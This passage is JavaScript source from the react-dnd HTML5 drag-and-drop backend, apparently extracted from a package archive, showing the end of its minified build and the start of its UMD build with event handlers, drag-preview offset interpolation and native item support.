t=e.dataTransfer,r=T(t);r&&i.beginDragNativeItem(r,t)}},this.handleTopDragEnter=function(e){var t=i.dragEnterTargetIds;(i.dragEnterTargetIds=[],i.monitor.isDragging())&&(i.altKeyPressed=e.altKey,a()||i.actions.hover(t,{clientOffset:d(e)}),t.some((function(e){return i.monitor.canDropOnTarget(e)}))&&(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=i.getCurrentDropEffect())))},this.handleTopDragOverCapture=function(){i.dragOverTargetIds=[]},this.handleTopDragOver=function(e){var t=i.dragOverTargetIds;if(i.dragOverTargetIds=[],!i.monitor.isDragging())return e.preventDefault(),void(e.dataTransfer&&(e.dataTransfer.dropEffect="none"));i.altKeyPressed=e.altKey,i.actions.hover(t||[],{clientOffset:d(e)}),(t||[]).some((function(e){return i.monitor.canDropOnTarget(e)}))?(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=i.getCurrentDropEffect())):i.isDraggingNativeItem()?e.preventDefault():(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect="none"))},this.handleTopDragLeaveCapture=function(e){i.isDraggingNativeItem()&&e.preventDefault(),i.enterLeaveCounter.leave(e.target)&&i.isDraggingNativeItem()&&i.endDragNativeItem()},this.handleTopDropCapture=function(e){var t;(i.dropTargetIds=[],e.preventDefault(),i.isDraggingNativeItem())&&(null===(t=i.currentNativeSource)||void 0===t||t.loadDataTransfer(e.dataTransfer));i.enterLeaveCounter.reset()},this.handleTopDrop=function(e){var t=i.dropTargetIds;i.dropTargetIds=[],i.actions.hover(t,{clientOffset:d(e)}),i.actions.drop({dropEffect:i.getCurrentDropEffect()}),i.isDraggingNativeItem()?i.endDragNativeItem():i.endDragIfSourceWasRemovedFromDOM()},this.handleSelectStart=function(e){var t=e.target;"function"==typeof t.dragDrop&&("INPUT"===t.tagName||"SELECT"===t.tagName||"TEXTAREA"===t.tagName||t.isContentEditable||(e.preventDefault(),t.dragDrop()))},this.options=new b(r),this.actions=t.getActions(),this.monitor=t.getMonitor(),this.registry=t.getRegistry(),this.enterLeaveCounter=new n(this.isNodeInDocument)}var t,r,i;return t=e,(r=[{key:"profile",value:function(){var e,t;return{sourcePreviewNodes:this.sourcePreviewNodes.size,sourcePreviewNodeOptions:this.sourcePreviewNodeOptions.size,sourceNodeOptions:this.sourceNodeOptions.size,sourceNodes:this.sourceNodes.size,dragStartSourceIds:(null===(e=this.dragStartSourceIds)||void 0===e?void 0:e.length)||0,dropTargetIds:this.dropTargetIds.length,dragEnterTargetIds:this.dragEnterTargetIds.length,dragOverTargetIds:(null===(t=this.dragOverTargetIds)||void 0===t?void 0:t.length)||0}}},{key:"setup",value:function(){if(void 0!==this.window){if(this.window.__isReactDndBackendSetUp)throw new Error("Cannot have two HTML5 backends at the same time.");this.window.__isReactDndBackendSetUp=!0,this.addEventListeners(this.window)}}},{key:"teardown",value:function(){void 0!==this.window&&(this.window.__isReactDndBackendSetUp=!1,this.removeEventListeners(this.window),this.clearCurrentDragSourceNode(),this.asyncEndDragFrameId&&this.window.cancelAnimationFrame(this.asyncEndDragFrameId))}},{key:"connectDragPreview",value:function(e,t,r){var n=this;return this.sourcePreviewNodeOptions.set(e,r),this.sourcePreviewNodes.set(e,t),function(){n.sourcePreviewNodes.delete(e),n.sourcePreviewNodeOptions.delete(e)}}},{key:"connectDragSource",value:function(e,t,r){var n=this;this.sourceNodes.set(e,t),this.sourceNodeOptions.set(e,r);var a=function(t){return n.handleDragStart(t,e)},i=function(e){return n.handleSelectStart(e)};return t.setAttribute("draggable","true"),t.addEventListener("dragstart",a),t.addEventListener("selectstart",i),function(){n.sourceNodes.delete(e),n.sourceNodeOptions.delete(e),t.removeEventListener("dragstart",a),t.removeEventListener("selectstart",i),t.setAttribute("draggable","false")}}},{key:"connectDropTarget",value:function(e,t){var r=this,n=function(t){return r.handleDragEnter(t,e)},a=function(t){return r.handleDragOver(t,e)},i=function(t){return r.handleDrop(t,e)};return t.addEventListener("dragenter",n),t.addEventListener("dragover",a),t.addEventListener("drop",i),function(){t.removeEventListener("dragenter",n),t.removeEventListener("dragover",a),t.removeEventListener("drop",i)}}},{key:"addEventListeners",value:function(e){e.addEventListener&&(e.addEventListener("dragstart",this.handleTopDragStart),e.addEventListener("dragstart",this.handleTopDragStartCapture,!0),e.addEventListener("dragend",this.handleTopDragEndCapture,!0),e.addEventListener("dragenter",this.handleTopDragEnter),e.addEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.addEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.addEventListener("dragover",this.handleTopDragOver),e.addEventListener("dragover",this.handleTopDragOverCapture,!0),e.addEventListener("drop",this.handleTopDrop),e.addEventListener("drop",this.handleTopDropCapture,!0))}},{key:"removeEventListeners",value:function(e){e.removeEventListener&&(e.removeEventListener("dragstart",this.handleTopDragStart),e.removeEventListener("dragstart",this.handleTopDragStartCapture,!0),e.removeEventListener("dragend",this.handleTopDragEndCapture,!0),e.removeEventListener("dragenter",this.handleTopDragEnter),e.removeEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.removeEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.removeEventListener("dragover",this.handleTopDragOver),e.removeEventListener("dragover",this.handleTopDragOverCapture,!0),e.removeEventListener("drop",this.handleTopDrop),e.removeEventListener("drop",this.handleTopDropCapture,!0))}},{key:"getCurrentSourceNodeOptions",value:function(){var e=this.monitor.getSourceId(),t=this.sourceNodeOptions.get(e);return O({dropEffect:this.altKeyPressed?"copy":"move"},t||{})}},{key:"getCurrentDropEffect",value:function(){return this.isDraggingNativeItem()?"copy":this.getCurrentSourceNodeOptions().dropEffect}},{key:"getCurrentSourcePreviewNodeOptions",value:function(){var e=this.monitor.getSourceId();return O({anchorX:.5,anchorY:.5,captureDraggingState:!1},this.sourcePreviewNodeOptions.get(e)||{})}},{key:"isDraggingNativeItem",value:function(){var e=this.monitor.getItemType();return Object.keys(h).some((function(t){return h[t]===e}))}},{key:"beginDragNativeItem",value:function(e,t){this.clearCurrentDragSourceNode(),this.currentNativeSource=function(e,t){var r=new w(D[e]);return r.loadDataTransfer(t),r}(e,t),this.currentNativeHandle=this.registry.addSource(e,this.currentNativeSource),this.actions.beginDrag([this.currentNativeHandle])}},{key:"setCurrentDragSourceNode",value:function(e){var t=this;this.clearCurrentDragSourceNode(),this.currentDragSourceNode=e,this.mouseMoveTimeoutTimer=setTimeout((function(){return t.window&&t.window.addEventListener("mousemove",t.endDragIfSourceWasRemovedFromDOM,!0)}),1e3)}},{key:"clearCurrentDragSourceNode",value:function(){return!!this.currentDragSourceNode&&(this.currentDragSourceNode=null,this.window&&(this.window.clearTimeout(this.mouseMoveTimeoutTimer||void 0),this.window.removeEventListener("mousemove",this.endDragIfSourceWasRemovedFromDOM,!0)),this.mouseMoveTimeoutTimer=null,!0)}},{key:"handleDragStart",value:function(e,t){e.defaultPrevented||(this.dragStartSourceIds||(this.dragStartSourceIds=[]),this.dragStartSourceIds.unshift(t))}},{key:"handleDragEnter",value:function(e,t){this.dragEnterTargetIds.unshift(t)}},{key:"handleDragOver",value:function(e,t){null===this.dragOverTargetIds&&(this.dragOverTargetIds=[]),this.dragOverTargetIds.unshift(t)}},{key:"handleDrop",value:function(e,t){this.dropTargetIds.unshift(t)}},{key:"window",get:function(){return this.options.window}},{key:"document",get:function(){return this.options.document}}])&&I(t.prototype,r),i&&I(t,i),e}();e.HTML5Backend=function(e,t){return new P(e,t)},e.NativeTypes=h,e.getEmptyImage=function(){return C||((C=new Image).src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=="),C},Object.defineProperty(e,"__esModule",{value:!0})})); umd/ReactDnDHTML5Backend.js000064400000122311151677252760011357 0ustar00(function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) : typeof define === 'function' && define.amd ? define(['exports'], factory) : (global = global || self, factory(global.ReactDnDHTML5Backend = {})); }(this, (function (exports) { 'use strict'; // cheap lodash replacements function memoize(fn) { var result = null; var memoized = function memoized() { if (result == null) { result = fn(); } return result; }; return memoized; } /** * drop-in replacement for _.without */ function without(items, item) { return items.filter(function (i) { return i !== item; }); } function union(itemsA, itemsB) { var set = new Set(); var insertItem = function insertItem(item) { return set.add(item); }; itemsA.forEach(insertItem); itemsB.forEach(insertItem); var result = []; set.forEach(function (key) { return result.push(key); }); return result; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var EnterLeaveCounter = /*#__PURE__*/function () { function EnterLeaveCounter(isNodeInDocument) { _classCallCheck(this, EnterLeaveCounter); this.entered = []; this.isNodeInDocument = isNodeInDocument; } _createClass(EnterLeaveCounter, [{ key: "enter", value: function enter(enteringNode) { var _this = this; var previousLength = this.entered.length; var isNodeEntered = function isNodeEntered(node) { return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode)); }; this.entered = union(this.entered.filter(isNodeEntered), [enteringNode]); return previousLength === 0 && this.entered.length > 0; } }, { key: "leave", value: function leave(leavingNode) { var previousLength = this.entered.length; this.entered = without(this.entered.filter(this.isNodeInDocument), leavingNode); return previousLength > 0 && this.entered.length === 0; } }, { key: "reset", value: function reset() { this.entered = []; } }]); return EnterLeaveCounter; }(); var isFirefox = memoize(function () { return /firefox/i.test(navigator.userAgent); }); var isSafari = memoize(function () { return Boolean(window.safari); }); function _classCallCheck$1(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$1(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$1(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$1(Constructor.prototype, protoProps); if (staticProps) _defineProperties$1(Constructor, staticProps); return Constructor; } var MonotonicInterpolant = /*#__PURE__*/function () { function MonotonicInterpolant(xs, ys) { _classCallCheck$1(this, MonotonicInterpolant); var length = xs.length; // Rearrange xs and ys so that xs is sorted var indexes = []; for (var i = 0; i < length; i++) { indexes.push(i); } indexes.sort(function (a, b) { return xs[a] < xs[b] ? -1 : 1; }); // Get consecutive differences and slopes var dxs = []; var ms = []; var dx; var dy; for (var _i = 0; _i < length - 1; _i++) { dx = xs[_i + 1] - xs[_i]; dy = ys[_i + 1] - ys[_i]; dxs.push(dx); ms.push(dy / dx); } // Get degree-1 coefficients var c1s = [ms[0]]; for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) { var m2 = ms[_i2]; var mNext = ms[_i2 + 1]; if (m2 * mNext <= 0) { c1s.push(0); } else { dx = dxs[_i2]; var dxNext = dxs[_i2 + 1]; var common = dx + dxNext; c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext)); } } c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients var c2s = []; var c3s = []; var m; for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) { m = ms[_i3]; var c1 = c1s[_i3]; var invDx = 1 / dxs[_i3]; var _common = c1 + c1s[_i3 + 1] - m - m; c2s.push((m - c1 - _common) * invDx); c3s.push(_common * invDx * invDx); } this.xs = xs; this.ys = ys; this.c1s = c1s; this.c2s = c2s; this.c3s = c3s; } _createClass$1(MonotonicInterpolant, [{ key: "interpolate", value: function interpolate(x) { var xs = this.xs, ys = this.ys, c1s = this.c1s, c2s = this.c2s, c3s = this.c3s; // The rightmost point in the dataset should give an exact result var i = xs.length - 1; if (x === xs[i]) { return ys[i]; } // Search for the interval x is in, returning the corresponding y if x is one of the original xs var low = 0; var high = c3s.length - 1; var mid; while (low <= high) { mid = Math.floor(0.5 * (low + high)); var xHere = xs[mid]; if (xHere < x) { low = mid + 1; } else if (xHere > x) { high = mid - 1; } else { return ys[mid]; } } i = Math.max(0, high); // Interpolate var diff = x - xs[i]; var diffSq = diff * diff; return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq; } }]); return MonotonicInterpolant; }(); var ELEMENT_NODE = 1; function getNodeClientOffset(node) { var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement; if (!el) { return null; } var _el$getBoundingClient = el.getBoundingClientRect(), top = _el$getBoundingClient.top, left = _el$getBoundingClient.left; return { x: left, y: top }; } function getEventClientOffset(e) { return { x: e.clientX, y: e.clientY }; } function isImageNode(node) { var _document$documentEle; return node.nodeName === 'IMG' && (isFirefox() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node))); } function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) { var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth; var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers if (isSafari() && isImage) { dragPreviewHeight /= window.devicePixelRatio; dragPreviewWidth /= window.devicePixelRatio; } return { dragPreviewWidth: dragPreviewWidth, dragPreviewHeight: dragPreviewHeight }; } function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) { // The browsers will use the image intrinsic size under different conditions. // Firefox only cares if it's an image, but WebKit also wants it to be detached. var isImage = isImageNode(dragPreview); var dragPreviewNode = isImage ? sourceNode : dragPreview; var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode); var offsetFromDragPreview = { x: clientOffset.x - dragPreviewNodeOffsetFromClient.x, y: clientOffset.y - dragPreviewNodeOffsetFromClient.y }; var sourceWidth = sourceNode.offsetWidth, sourceHeight = sourceNode.offsetHeight; var anchorX = anchorPoint.anchorX, anchorY = anchorPoint.anchorY; var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight), dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth, dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight; var calculateYOffset = function calculateYOffset() { var interpolantY = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the top offsetFromDragPreview.y, // Align at the center offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]); var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug if (isSafari() && isImage) { // We'll have to wait for @3x to see if this is entirely correct y += (window.devicePixelRatio - 1) * dragPreviewHeight; } return y; }; var calculateXOffset = function calculateXOffset() { // Interpolate coordinates depending on anchor point // If you know a simpler way to do this, let me know var interpolantX = new MonotonicInterpolant([0, 0.5, 1], [// Dock to the left offsetFromDragPreview.x, // Align at the center offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]); return interpolantX.interpolate(anchorX); }; // Force offsets if specified in the options. var offsetX = offsetPoint.offsetX, offsetY = offsetPoint.offsetY; var isManualOffsetX = offsetX === 0 || offsetX; var isManualOffsetY = offsetY === 0 || offsetY; return { x: isManualOffsetX ? offsetX : calculateXOffset(), y: isManualOffsetY ? offsetY : calculateYOffset() }; } var FILE = '__NATIVE_FILE__'; var URL = '__NATIVE_URL__'; var TEXT = '__NATIVE_TEXT__'; var NativeTypes = /*#__PURE__*/Object.freeze({ __proto__: null, FILE: FILE, URL: URL, TEXT: TEXT }); function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) { var result = typesToTry.reduce(function (resultSoFar, typeToTry) { return resultSoFar || dataTransfer.getData(typeToTry); }, ''); return result != null ? result : defaultValue; } var _nativeTypesConfig; function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, FILE, { exposeProperties: { files: function files(dataTransfer) { return Array.prototype.slice.call(dataTransfer.files); }, items: function items(dataTransfer) { return dataTransfer.items; } }, matchesTypes: ['Files'] }), _defineProperty(_nativeTypesConfig, URL, { exposeProperties: { urls: function urls(dataTransfer, matchesTypes) { return getDataFromDataTransfer(dataTransfer, matchesTypes, '').split('\n'); } }, matchesTypes: ['Url', 'text/uri-list'] }), _defineProperty(_nativeTypesConfig, TEXT, { exposeProperties: { text: function text(dataTransfer, matchesTypes) { return getDataFromDataTransfer(dataTransfer, matchesTypes, ''); } }, matchesTypes: ['Text', 'text/plain'] }), _nativeTypesConfig); function _classCallCheck$2(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$2(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$2(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$2(Constructor.prototype, protoProps); if (staticProps) _defineProperties$2(Constructor, staticProps); return Constructor; } var NativeDragSource = /*#__PURE__*/function () { function NativeDragSource(config) { _classCallCheck$2(this, NativeDragSource); this.config = config; this.item = {}; this.initializeExposedProperties(); } _createClass$2(NativeDragSource, [{ key: "initializeExposedProperties", value: function initializeExposedProperties() { var _this = this; Object.keys(this.config.exposeProperties).forEach(function (property) { Object.defineProperty(_this.item, property, { configurable: true, enumerable: true, get: function get() { // eslint-disable-next-line no-console console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event.")); return null; } }); }); } }, { key: "loadDataTransfer", value: function loadDataTransfer(dataTransfer) { var _this2 = this; if (dataTransfer) { var newProperties = {}; Object.keys(this.config.exposeProperties).forEach(function (property) { newProperties[property] = { value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes), configurable: true, enumerable: true }; }); Object.defineProperties(this.item, newProperties); } } }, { key: "canDrag", value: function canDrag() { return true; } }, { key: "beginDrag", value: function beginDrag() { return this.item; } }, { key: "isDragging", value: function isDragging(monitor, handle) { return handle === monitor.getSourceId(); } }, { key: "endDrag", value: function endDrag() {// empty } }]); return NativeDragSource; }(); function createNativeDragSource(type, dataTransfer) { var result = new NativeDragSource(nativeTypesConfig[type]); result.loadDataTransfer(dataTransfer); return result; } function matchNativeItemType(dataTransfer) { if (!dataTransfer) { return null; } var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []); return Object.keys(nativeTypesConfig).filter(function (nativeItemType) { var matchesTypes = nativeTypesConfig[nativeItemType].matchesTypes; return matchesTypes.some(function (t) { return dataTransferTypes.indexOf(t) > -1; }); })[0] || null; } function _classCallCheck$3(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$3(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$3(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$3(Constructor.prototype, protoProps); if (staticProps) _defineProperties$3(Constructor, staticProps); return Constructor; } var OptionsReader = /*#__PURE__*/function () { function OptionsReader(globalContext) { _classCallCheck$3(this, OptionsReader); this.globalContext = globalContext; } _createClass$3(OptionsReader, [{ key: "window", get: function get() { if (this.globalContext) { return this.globalContext; } else if (typeof window !== 'undefined') { return window; } return undefined; } }, { key: "document", get: function get() { if (this.window) { return this.window.document; } return undefined; } }]); return OptionsReader; }(); function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty$1(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty$1(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck$4(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties$4(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass$4(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties$4(Constructor.prototype, protoProps); if (staticProps) _defineProperties$4(Constructor, staticProps); return Constructor; } var HTML5BackendImpl = /*#__PURE__*/function () { function HTML5BackendImpl(manager, globalContext) { var _this = this; _classCallCheck$4(this, HTML5BackendImpl); this.sourcePreviewNodes = new Map(); this.sourcePreviewNodeOptions = new Map(); this.sourceNodes = new Map(); this.sourceNodeOptions = new Map(); this.dragStartSourceIds = null; this.dropTargetIds = []; this.dragEnterTargetIds = []; this.currentNativeSource = null; this.currentNativeHandle = null; this.currentDragSourceNode = null; this.altKeyPressed = false; this.mouseMoveTimeoutTimer = null; this.asyncEndDragFrameId = null; this.dragOverTargetIds = null; this.getSourceClientOffset = function (sourceId) { var source = _this.sourceNodes.get(sourceId); return source && getNodeClientOffset(source) || null; }; this.endDragNativeItem = function () { if (!_this.isDraggingNativeItem()) { return; } _this.actions.endDrag(); if (_this.currentNativeHandle) { _this.registry.removeSource(_this.currentNativeHandle); } _this.currentNativeHandle = null; _this.currentNativeSource = null; }; this.isNodeInDocument = function (node) { // Check the node either in the main document or in the current context return Boolean(node && _this.document && _this.document.body && document.body.contains(node)); }; this.endDragIfSourceWasRemovedFromDOM = function () { var node = _this.currentDragSourceNode; if (_this.isNodeInDocument(node)) { return; } if (_this.clearCurrentDragSourceNode()) { _this.actions.endDrag(); } }; this.handleTopDragStartCapture = function () { _this.clearCurrentDragSourceNode(); _this.dragStartSourceIds = []; }; this.handleTopDragStart = function (e) { if (e.defaultPrevented) { return; } var dragStartSourceIds = _this.dragStartSourceIds; _this.dragStartSourceIds = null; var clientOffset = getEventClientOffset(e); // Avoid crashing if we missed a drop event or our previous drag died if (_this.monitor.isDragging()) { _this.actions.endDrag(); } // Don't publish the source just yet (see why below) _this.actions.beginDrag(dragStartSourceIds || [], { publishSource: false, getSourceClientOffset: _this.getSourceClientOffset, clientOffset: clientOffset }); var dataTransfer = e.dataTransfer; var nativeType = matchNativeItemType(dataTransfer); if (_this.monitor.isDragging()) { if (dataTransfer && typeof dataTransfer.setDragImage === 'function') { // Use custom drag image if user specifies it. // If child drag source refuses drag but parent agrees, // use parent's node as drag image. Neither works in IE though. var sourceId = _this.monitor.getSourceId(); var sourceNode = _this.sourceNodes.get(sourceId); var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode; if (dragPreview) { var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(), anchorX = _this$getCurrentSourc.anchorX, anchorY = _this$getCurrentSourc.anchorY, offsetX = _this$getCurrentSourc.offsetX, offsetY = _this$getCurrentSourc.offsetY; var anchorPoint = { anchorX: anchorX, anchorY: anchorY }; var offsetPoint = { offsetX: offsetX, offsetY: offsetY }; var dragPreviewOffset = getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint); dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y); } } try { // Firefox won't drag without setting data dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {}); } catch (err) {} // IE doesn't support MIME types in setData // Store drag source node so we can check whether // it is removed from DOM and trigger endDrag manually. _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not? var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(), captureDraggingState = _this$getCurrentSourc2.captureDraggingState; if (!captureDraggingState) { // Usually we want to publish it in the next tick so that browser // is able to screenshot the current (not yet dragging) state. // // It also neatly avoids a situation where render() returns null // in the same tick for the source element, and browser freaks out. setTimeout(function () { return _this.actions.publishDragSource(); }, 0); } else { // In some cases the user may want to override this behavior, e.g. // to work around IE not supporting custom drag previews. // // When using a custom drag layer, the only way to prevent // the default drag preview from drawing in IE is to screenshot // the dragging state in which the node itself has zero opacity // and height. In this case, though, returning null from render() // will abruptly end the dragging, which is not obvious. // // This is the reason such behavior is strictly opt-in. _this.actions.publishDragSource(); } } else if (nativeType) { // A native item (such as URL) dragged from inside the document _this.beginDragNativeItem(nativeType); } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) { // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable. // Just let it drag. It's a native type (URL or text) and will be picked up in // dragenter handler. return; } else { // If by this time no drag source reacted, tell browser not to drag. e.preventDefault(); } }; this.handleTopDragEndCapture = function () { if (_this.clearCurrentDragSourceNode()) { // Firefox can dispatch this event in an infinite loop // if dragend handler does something like showing an alert. // Only proceed if we have not handled it already. _this.actions.endDrag(); } }; this.handleTopDragEnterCapture = function (e) { _this.dragEnterTargetIds = []; var isFirstEnter = _this.enterLeaveCounter.enter(e.target); if (!isFirstEnter || _this.monitor.isDragging()) { return; } var dataTransfer = e.dataTransfer; var nativeType = matchNativeItemType(dataTransfer); if (nativeType) { // A native item (such as file or URL) dragged from outside the document _this.beginDragNativeItem(nativeType, dataTransfer); } }; this.handleTopDragEnter = function (e) { var dragEnterTargetIds = _this.dragEnterTargetIds; _this.dragEnterTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. return; } _this.altKeyPressed = e.altKey; if (!isFirefox()) { // Don't emit hover in `dragenter` on Firefox due to an edge case. // If the target changes position as the result of `dragenter`, Firefox // will still happily dispatch `dragover` despite target being no longer // there. The easy solution is to only fire `hover` in `dragover` on FF. _this.actions.hover(dragEnterTargetIds, { clientOffset: getEventClientOffset(e) }); } var canDrop = dragEnterTargetIds.some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // IE requires this to fire dragover events e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } }; this.handleTopDragOverCapture = function () { _this.dragOverTargetIds = []; }; this.handleTopDragOver = function (e) { var dragOverTargetIds = _this.dragOverTargetIds; _this.dragOverTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. // Prevent default "drop and blow away the whole document" action. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } return; } _this.altKeyPressed = e.altKey; _this.actions.hover(dragOverTargetIds || [], { clientOffset: getEventClientOffset(e) }); var canDrop = (dragOverTargetIds || []).some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // Show user-specified drop effect. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } else if (_this.isDraggingNativeItem()) { // Don't show a nice cursor but still prevent default // "drop and blow away the whole document" action. e.preventDefault(); } else { e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } } }; this.handleTopDragLeaveCapture = function (e) { if (_this.isDraggingNativeItem()) { e.preventDefault(); } var isLastLeave = _this.enterLeaveCounter.leave(e.target); if (!isLastLeave) { return; } if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } }; this.handleTopDropCapture = function (e) { _this.dropTargetIds = []; e.preventDefault(); if (_this.isDraggingNativeItem()) { var _this$currentNativeSo; (_this$currentNativeSo = _this.currentNativeSource) === null || _this$currentNativeSo === void 0 ? void 0 : _this$currentNativeSo.loadDataTransfer(e.dataTransfer); } _this.enterLeaveCounter.reset(); }; this.handleTopDrop = function (e) { var dropTargetIds = _this.dropTargetIds; _this.dropTargetIds = []; _this.actions.hover(dropTargetIds, { clientOffset: getEventClientOffset(e) }); _this.actions.drop({ dropEffect: _this.getCurrentDropEffect() }); if (_this.isDraggingNativeItem()) { _this.endDragNativeItem(); } else { _this.endDragIfSourceWasRemovedFromDOM(); } }; this.handleSelectStart = function (e) { var target = e.target; // Only IE requires us to explicitly say // we want drag drop operation to start if (typeof target.dragDrop !== 'function') { return; } // Inputs and textareas should be selectable if (target.tagName === 'INPUT' || target.tagName === 'SELECT' || target.tagName === 'TEXTAREA' || target.isContentEditable) { return; } // For other targets, ask IE // to enable drag and drop e.preventDefault(); target.dragDrop(); }; this.options = new OptionsReader(globalContext); this.actions = manager.getActions(); this.monitor = manager.getMonitor(); this.registry = manager.getRegistry(); this.enterLeaveCounter = new EnterLeaveCounter(this.isNodeInDocument); } /** * Generate profiling statistics for the HTML5Backend. */ _createClass$4(HTML5BackendImpl, [{ key: "profile", value: function profile() { var _this$dragStartSource, _this$dragOverTargetI; return { sourcePreviewNodes: this.sourcePreviewNodes.size, sourcePreviewNodeOptions: this.sourcePreviewNodeOptions.size, sourceNodeOptions: this.sourceNodeOptions.size, sourceNodes: this.sourceNodes.size, dragStartSourceIds: ((_this$dragStartSource = 